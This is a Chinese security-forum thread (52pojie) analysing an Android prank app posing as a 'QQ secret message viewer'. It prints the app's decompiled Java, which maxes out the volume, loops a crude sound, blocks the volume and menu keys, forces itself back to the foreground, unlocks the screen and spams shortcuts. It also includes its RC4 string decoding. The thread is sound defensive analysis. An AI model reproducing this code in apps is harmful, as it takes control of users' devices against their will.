吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 20555|回复: 45
收起左侧

[移动样本分析] 恶意app“qq悄悄话查询”浅分析

  [复制链接]
yangjinbobo 发表于 2016-6-17 14:19
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 yangjinbobo 于 2016-6-18 15:53 编辑

本人新手学渣,还未入门,所以只是浅浅地分析一下,求勿喷,如果有什么不对与不足,欢迎大家指出,我改正。
  名称:    恶意app“qq悄悄话查询”浅分析                                                
  作者:     yangjb5                                                   
  报告更新日期:  2016.6.17
  样本发现日期:  未知
  系统: Android  
  样本传送门:http://www.52pojie.cn/thread-507095-1-1.html
                      http://www.52pojie.cn/thread-507330-1-1.html

首先,apk使用e4a编写,没有加壳。
应用界面是这样子滴:

app界面

app界面

打开之后不断循环播放OO声(真的好难听,鄙视作者的品味)

直接反编译:
1.bmp
qidonglei.bmp

因为是e4a编写的,所以我们直接看O文件

O

O

这是“主窗口”的Decompiled Java文件
[Java] 纯文本查看 复制代码
package com.o;
import com.e4a.runtime.Objects;
import com.e4a.runtime.annotations.SimpleDataElement;
import com.e4a.runtime.annotations.SimpleObject;
import com.e4a.runtime.components.impl.android.n12.时钟;
import com.e4a.runtime.components.impl.android.n12.时钟Impl;
import com.e4a.runtime.components.impl.android.n28.系统设置;
import com.e4a.runtime.components.impl.android.n28.系统设置Impl;
import com.e4a.runtime.components.impl.android.n3.标签;
import com.e4a.runtime.components.impl.android.n3.标签Impl;
import com.e4a.runtime.components.impl.android.n4.图片框;
import com.e4a.runtime.components.impl.android.n4.图片框Impl;
import com.e4a.runtime.components.impl.android.n60.系统广播;
import com.e4a.runtime.components.impl.android.n60.系统广播Impl;
import com.e4a.runtime.components.impl.android.n76.系统闹钟;
import com.e4a.runtime.components.impl.android.n76.系统闹钟Impl;
import com.e4a.runtime.components.impl.android.显隐应用类库.显隐应用;
import com.e4a.runtime.components.impl.android.显隐应用类库.显隐应用Impl;
import com.e4a.runtime.components.impl.android.窗口Impl;
import com.e4a.runtime.components.impl.android.转跳类库.转跳;
import com.e4a.runtime.components.impl.android.转跳类库.转跳Impl;
import com.e4a.runtime.components.窗口;
import com.e4a.runtime.events.EventDispatcher;
import com.e4a.runtime.parameters.BooleanReferenceParameter;
import com.e4a.runtime.variants.ByteVariant;
import com.e4a.runtime.variants.DoubleVariant;
import com.e4a.runtime.variants.IntegerVariant;
import com.e4a.runtime.加密操作;
import com.e4a.runtime.媒体操作;
import com.e4a.runtime.对话框类;
import com.e4a.runtime.应用操作;
import com.e4a.runtime.算术运算;
import com.e4a.runtime.系统相关类;
import com.e4a.runtime.音量操作;

@SimpleObject public class 主窗口 extends 窗口Impl {
    @SimpleDataElement public static 窗口 主窗口;
    @SimpleDataElement public 图片框 图片框1;
    @SimpleDataElement public 时钟 时钟1;
    @SimpleDataElement public 时钟 时钟2;
    @SimpleDataElement public 显隐应用 显隐应用1;
    @SimpleDataElement public 标签 标签1;
    @SimpleDataElement public 系统广播 系统广播1;
    @SimpleDataElement public 系统设置 系统设置1;
    @SimpleDataElement public 系统闹钟 系统闹钟1;
    @SimpleDataElement public 转跳 转跳1;

    public void $define() {
        主窗口.主窗口 = this;
        主窗口.主窗口.标题("");
        主窗口.主窗口.背景颜色(0);
        主窗口.主窗口.布局(IntegerVariant.getIntegerVariant(4));
        主窗口.主窗口.显示方式(1);
        主窗口.主窗口.可否滚动(false);
        系统广播Impl v0 = new 系统广播Impl(主窗口.主窗口);
        Objects.initializeProperties(v0);
        this.系统广播1 = ((系统广播)v0);
        时钟Impl v0_1 = new 时钟Impl(主窗口.主窗口);
        Objects.initializeProperties(v0_1);
        this.时钟1 = ((时钟)v0_1);
        this.时钟1.时钟周期(0);
        系统闹钟Impl v0_2 = new 系统闹钟Impl(主窗口.主窗口);
        Objects.initializeProperties(v0_2);
        this.系统闹钟1 = ((系统闹钟)v0_2);
        系统设置Impl v0_3 = new 系统设置Impl(主窗口.主窗口);
        Objects.initializeProperties(v0_3);
        this.系统设置1 = ((系统设置)v0_3);
        图片框Impl v0_4 = new 图片框Impl(主窗口.主窗口);
        Objects.initializeProperties(v0_4);
        this.图片框1 = ((图片框)v0_4);
        this.图片框1.左边(((int)算术运算.取整(ByteVariant.getByteVariant(0).mul(IntegerVariant.getIntegerVariant(
                系统相关类.取屏幕宽度())))));
        this.图片框1.顶边(((int)算术运算.取整(ByteVariant.getByteVariant(0).mul(IntegerVariant.getIntegerVariant(
                系统相关类.取屏幕高度())))));
        this.图片框1.宽度(((int)算术运算.取整(ByteVariant.getByteVariant(1).mul(IntegerVariant.getIntegerVariant(
                系统相关类.取屏幕宽度())))));
        this.图片框1.高度(((int)算术运算.取整(ByteVariant.getByteVariant(1).mul(IntegerVariant.getIntegerVariant(
                系统相关类.取屏幕高度())))));
        this.图片框1.背景颜色(-1);
        this.图片框1.显示方式(1);
        this.图片框1.图像("6M5UBF2J9ZI70.jpg");
        this.图片框1.可视(true);
        转跳Impl v0_5 = new 转跳Impl(主窗口.主窗口);
        Objects.initializeProperties(v0_5);
        this.转跳1 = ((转跳)v0_5);
        显隐应用Impl v0_6 = new 显隐应用Impl(主窗口.主窗口);
        Objects.initializeProperties(v0_6);
        this.显隐应用1 = ((显隐应用)v0_6);
        标签Impl v0_7 = new 标签Impl(主窗口.主窗口);
        Objects.initializeProperties(v0_7);
        this.标签1 = ((标签)v0_7);
        this.标签1.左边(((int)算术运算.取整(ByteVariant.getByteVariant(0).mul(IntegerVariant.getIntegerVariant(
                系统相关类.取屏幕宽度())))));
        this.标签1.顶边(((int)算术运算.取整(DoubleVariant.getDoubleVariant(0.95).mul(IntegerVariant.getIntegerVariant(
                系统相关类.取屏幕高度())))));
        this.标签1.宽度(((int)算术运算.取整(ByteVariant.getByteVariant(1).mul(IntegerVariant.getIntegerVariant(
                系统相关类.取屏幕宽度())))));
        this.标签1.高度(((int)算术运算.取整(DoubleVariant.getDoubleVariant(0.05).mul(IntegerVariant.getIntegerVariant(
                系统相关类.取屏幕高度())))));
        this.标签1.标题("");
        this.标签1.背景颜色(0);
        this.标签1.字体颜色(-8355712);
        this.标签1.粗体(true);
        this.标签1.斜体(false);
        this.标签1.对齐方式(7);
        this.标签1.字体大小(10f);
        this.标签1.透明度(255);
        this.标签1.可视(true);
        v0_1 = new 时钟Impl(主窗口.主窗口);
        Objects.initializeProperties(v0_1);
        this.时钟2 = ((时钟)v0_1);
        this.时钟2.时钟周期(0);
        EventDispatcher.registerEvent(this, "系统广播1", "收到广播");
        EventDispatcher.registerEvent(this, "时钟2", "周期事件");
        EventDispatcher.registerEvent(this, "主窗口", "按下某键");
        EventDispatcher.registerEvent(this, "主窗口", "创建完毕");
        EventDispatcher.registerEvent(this, "标签1", "被单击");
        主窗口.主窗口.创建完毕();
        this.系统广播1.创建完毕();
        this.时钟1.创建完毕();
        this.系统闹钟1.创建完毕();
        this.系统设置1.创建完毕();
        this.图片框1.创建完毕();
        this.转跳1.创建完毕();
        this.显隐应用1.创建完毕();
        this.标签1.创建完毕();
        this.时钟2.创建完毕();
    }

    static {
    }

    public 主窗口() {
        super();
        Objects.initializeProperties(this);
        this.$define();
    }

    public void 主窗口$创建完毕() {
        音量操作.置音量(4, 100);
        音量操作.置音量(4, 100);
        音量操作.置音量(2, 100);
        音量操作.置音量(3, 100);
        媒体操作.播放音乐("0.mp3");
        媒体操作.置循环播放(true);
        this.标签1.字体大小(10f);
        this.标签1.标题("" + 加密操作.RC4解密("4B9D72700A8217D0", "0"));
        this.系统设置1.屏幕锁定();
        this.系统设置1.保持屏幕常亮();
        this.系统广播1.注册广播("后台服务广播");
        this.系统闹钟1.设置闹钟(1, 500, "闹钟");
        this.时钟1.时钟周期(500);
    }

    public void 主窗口$按下某键(int arg3, BooleanReferenceParameter arg4) {
        boolean v0 = arg4.get();
        if(arg3 == 24) {
            v0 = true;
        }

        if(arg3 == 25) {
            v0 = true;
        }

        if(arg3 == 82) {
            v0 = true;
        }

        arg4.set(v0);
    }

    public void 时钟2$周期事件() {
        this.时钟1.时钟周期(0);
        系统相关类.创建快捷方式2("QQ悄悄话查看器0", 2130837504, "http://");
        系统相关类.创建快捷方式2("QQ悄悄话查看器1", 2130837504, "http://");
        系统相关类.创建快捷方式2("快手双击工具2", 2130837504, "http://");
        系统相关类.创建快捷方式2("快手双击工具3", 2130837504, "http://");
        系统相关类.创建快捷方式2("QQ悄悄话查看器4", 2130837504, "http://");
    }

    public void 标签1$被单击() {
        对话框类.信息框("" + 加密操作.RC4解密("4B9D72700A8217D0", "0"), "" + 加密操作.RC4解密("35891F2916806DE1E71622A2DDD1EC7040CC953D96DFBA0145EE0E1F177C902D5CFDD9F787E0B14554D9103F81B7ECDA9E8BE63EA8CFF797820796B2DF4C1BE9856BA4659E76", 
                "0"), "" + 加密操作.RC4解密("46AD6B2C1199", "0"));
    }

    public void 系统广播1$收到广播(int arg4) {
        int v2 = 100;
        主窗口.主窗口.标题(this.系统广播1.取广播内容());
        if(主窗口.主窗口.标题().equals("1")) {
            if(!应用操作.是否在前台()) {
                音量操作.置音量(4, v2);
                音量操作.置音量(1, v2);
                音量操作.置音量(2, v2);
                音量操作.置音量(3, v2);
                应用操作.返回应用();
                this.系统设置1.屏幕解锁();
            }
            else {
                this.标签1.字体大小(10f);
            }
        }
    }
}

功能很强势,
1.创建后台的闹钟服务通过闹钟服务循环播放XOO声并不断
置各种音量类型为最大。
2.创建时钟,周期为0,事件为创建五个快捷方式:"QQ悄悄话查看器0"
"QQ悄悄话查看器2""QQ悄悄话查看器3""快手双击工具2""快手双击工具3"
3.屏幕常亮
4.创建后台服务,判断应用不在前台则不断置各种音量为最大,然后返回应用,
并解锁屏幕。
另外,还有一个看不懂的地方:
public void 标签1$被单击() {
        对话框类.信息框("" + 加密操作.RC4解密("4B9D72700A8217D0", "0"), "" + 加密操作.RC4解密("35891F2916806DE1E71622A2DDD1EC7040CC953D96DFBA0145EE0E1F177C902D5CFDD9F787E0B14554D9103F81B7ECDA9E8BE63EA8CFF797820796B2DF4C1BE9856BA4659E76",
                "0"), "" + 加密操作.RC4解密("46AD6B2C1199", "0"));
    }
希望有大神指点一二。


总结:
   小白的个人总结:
      一、e4a编写apk使用的不是自己的编译器,它直接是连接了所有可能用到的类,然而作者的程序中用到的只有几个类,这就导致了一定程度上的冗余(不过           可以充当一定的代码混淆作用。)。
      二、这款app在技术上并没有什么出彩的地方,后台服务,霸占资源,难以关闭······但是,他在思想上的创新实在挺厉害。整个apk并没有太恶意的代码,就是一       个恶搞软件,然而恶搞方式是播放关不上的Xoo声,让人们在中招后的尬尴之际又觉出几分好玩,让人感觉:靠,这么有趣的恶搞,我中招了也不能让其他人好       过。于是加速了apk的传播。也有人在中招后为了解释自己的行为而将apk发送给其他人以证明自己的清白,这也加速了apk的传播。试想如果作者在其中加入        了恶意代码,凭这几天的传播速度与广度,这款apk该能造成多大危害。
      三、大家的安全意识还是不够,收到不明apk就直接打开,毫不考虑是否安全,这实在是要不得的。
      四、最后,上课玩手机实在很危险,在过去的几天里,各大高校各个课堂以及图书馆出现了大量的“开车现象”,实在是······







   另外,将那段关于rc4解密的代码补充上:
[Java] 纯文本查看 复制代码
@SimpleFunction public static String RC4解密(String arg4, String arg5) {
        String v1;
        if(arg4 != null && arg5 != null) {
            try {
                v1 = new String(加密操作.RC4Base(加密操作.HexString2Bytes(arg4), arg5), "GBK");
            }
            catch(Exception v0) {
                v0.printStackTrace();
                v1 = "";
            }
        }
        else {
            v1 = "";
        }

        return v1;
    }
private static byte[] RC4Base(byte[] arg9, String arg10) {
        int v4 = 0;
        int v6 = 0;
        byte[] v1 = 加密操作.initKey(arg10);
        byte[] v2 = new byte[arg9.length];
        int v0;
        for(v0 = 0; v0 < arg9.length; ++v0) {
            v4 = v4 + 1 & 255;
            v6 = (v1[v4] & 255) + v6 & 255;
            byte v3 = v1[v4];
            v1[v4] = v1[v6];
            v1[v6] = v3;
            v2[v0] = ((byte)(arg9[v0] ^ v1[(v1[v4] & 255) + (v1[v6] & 255) & 255]));
        }

        return v2;
    }
private static byte[] HexString2Bytes(String arg7) {
        byte[] v2;
        try {
            int v3 = arg7.length();
            v2 = new byte[v3 / 2];
            byte[] v4 = arg7.getBytes("GBK");
            int v1;
            for(v1 = 0; v1 < v3 / 2; ++v1) {
                v2[v1] = 加密操作.uniteBytes(v4[v1 * 2], v4[v1 * 2 + 1]);
            }
        }
        catch(Exception v0) {
            v0.printStackTrace();
            v2 = new byte[0];
        }

        return v2;
    }
private static byte[] initKey(String arg11) {
        byte[] v7 = null;
        int v10 = 256;
        try {
            byte[] v0 = arg11.getBytes("GBK");
            byte[] v5 = new byte[256];
            int v2;
            for(v2 = 0; v2 < v10; ++v2) {
                v5[v2] = ((byte)v2);
            }

            int v3 = 0;
            int v4 = 0;
            if(v0 != null && v0.length != 0) {
                v2 = 0;
            }
            else {
                return v7;
            }

            while(v2 < v10) {
                v4 = (v0[v3] & 255) + (v5[v2] & 255) + v4 & 255;
                byte v6 = v5[v2];
                v5[v2] = v5[v4];
                v5[v4] = v6;
                v3 = (v3 + 1) % v0.length;
                ++v2;
            }

            return v5;
        }
        catch(Exception v1) {
            v1.printStackTrace();
            return v7;
        }
    }
private static byte uniteBytes(byte arg8, byte arg9) {
        return ((byte)((((char)((((char)Byte.decode("0x" + new String(new byte[]{arg8})).byteValue()))
                 << 4))) ^ (((char)Byte.decode("0x" + new String(new byte[]{arg9})).byteValue()))));
    }



截图00.bmp

免费评分

参与人数 18威望 +2 热心值 +18 收起 理由
1888888 + 1 用心讨论,共获提升!
Hmily + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
kaka100861 + 1 用心讨论,共获提升!
记忆承载将来 + 1 我很赞同!
1372_7 + 1 谢谢@Thanks!
aiLT + 1 热心回复!
李莹莹 + 1 整个图书馆,从一楼到五楼,唉~
17553573 + 1 我很赞同!
wnagzihxain + 1 用心讨论,共获提升!
草泥马qqq + 1 已答复!
C-FBI-QM + 1 用心讨论,共获提升!
ucia + 1 用心讨论,共获提升!
Facksxx + 1 已答复!
youjw1996 + 1 用心讨论,共获提升!
Hyabcd + 1 用心讨论,共获提升!
yyorxy + 1 已答复!
微若清风 + 1 热心回复!
奉聪 + 1 6.16大惨案,很多同学上课被坑了,哈哈

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| yangjinbobo 发表于 2016-6-18 15:38
本帖最后由 yangjinbobo 于 2016-6-18 15:45 编辑
天蝎的未来 发表于 2016-6-18 12:21
怎么解的?求告知,密钥在哪?

实际上它的代码里直接就有:
@SimpleFunction public static String RC4解密(String arg4, String arg5) {
        String v1;
        if(arg4 != null && arg5 != null) {
            try {
                v1 = new String(加密操作.RC4Base(加密操作.HexString2Bytes(arg4), arg5), "GBK");
            }
            catch(Exception v0) {
                v0.printStackTrace();
                v1 = "";
            }
        }
        else {
            v1 = "";
        }

        return v1;
    }
private static byte[] RC4Base(byte[] arg9, String arg10) {
        int v4 = 0;
        int v6 = 0;
        byte[] v1 = 加密操作.initKey(arg10);
        byte[] v2 = new byte[arg9.length];
        int v0;
        for(v0 = 0; v0 < arg9.length; ++v0) {
            v4 = v4 + 1 & 255;
            v6 = (v1[v4] & 255) + v6 & 255;
            byte v3 = v1[v4];
            v1[v4] = v1[v6];
            v1[v6] = v3;
            v2[v0] = ((byte)(arg9[v0] ^ v1[(v1[v4] & 255) + (v1[v6] & 255) & 255]));
        }

        return v2;
    }
private static byte[] HexString2Bytes(String arg7) {
        byte[] v2;
        try {
            int v3 = arg7.length();
            v2 = new byte[v3 / 2];
            byte[] v4 = arg7.getBytes("GBK");
            int v1;
            for(v1 = 0; v1 < v3 / 2; ++v1) {
                v2[v1] = 加密操作.uniteBytes(v4[v1 * 2], v4[v1 * 2 + 1]);
            }
        }
        catch(Exception v0) {
            v0.printStackTrace();
            v2 = new byte[0];
        }

        return v2;
    }
private static byte[] initKey(String arg11) {
        byte[] v7 = null;
        int v10 = 256;
        try {
            byte[] v0 = arg11.getBytes("GBK");
            byte[] v5 = new byte[256];
            int v2;
            for(v2 = 0; v2 < v10; ++v2) {
                v5[v2] = ((byte)v2);
            }

            int v3 = 0;
            int v4 = 0;
            if(v0 != null && v0.length != 0) {
                v2 = 0;
            }
            else {
                return v7;
            }

            while(v2 < v10) {
                v4 = (v0[v3] & 255) + (v5[v2] & 255) + v4 & 255;
                byte v6 = v5[v2];
                v5[v2] = v5[v4];
                v5[v4] = v6;
                v3 = (v3 + 1) % v0.length;
                ++v2;
            }

            return v5;
        }
        catch(Exception v1) {
            v1.printStackTrace();
            return v7;
        }
    }
private static byte uniteBytes(byte arg8, byte arg9) {
        return ((byte)((((char)((((char)Byte.decode("0x" + new String(new byte[]{arg8})).byteValue()))
                 << 4))) ^ (((char)Byte.decode("0x" + new String(new byte[]{arg9})).byteValue()))));
    }
lpylzx1 发表于 2016-6-17 18:54
4B9D72700A8217D0 => 免责声明
35891F2916806DE1E71622A2DDD1EC7040CC953D96DFBA0145EE0E1F177C902D5CFDD9F787E0B14554D9103F81B7ECDA9E8BE63EA8CFF797820796B2DF4C1BE9856BA4659E76 => 仅供整蛊娱乐,凡是使用本程序必须承担后果,请勿修改应用程序否则后果自负!
46AD6B2C1199 => 我同意
mmmmar 发表于 2016-6-17 14:26 来自手机
头像被屏蔽
geeky 发表于 2016-6-17 14:28
提示: 作者被禁止或删除 内容自动屏蔽
逝去丶 发表于 2016-6-17 14:31
上课时,被同学打开了这个软件
侧耳聆听 发表于 2016-6-17 14:33
确实很尴尬呀,还好我没下。
lf1169210280 发表于 2016-6-17 14:38
大神  你带我飞可好
在你不远的距离 发表于 2016-6-17 14:42
这玩意 辛亏没用啊
Haccvn 发表于 2016-6-17 14:43 来自手机
感谢楼主分析,上午我挂虚拟机看出来是病毒的。。。
coolboy 发表于 2016-6-17 14:49
这是易语言吗
Abby_小杰 发表于 2016-6-17 14:56
大神,膜拜!
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 12:36

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表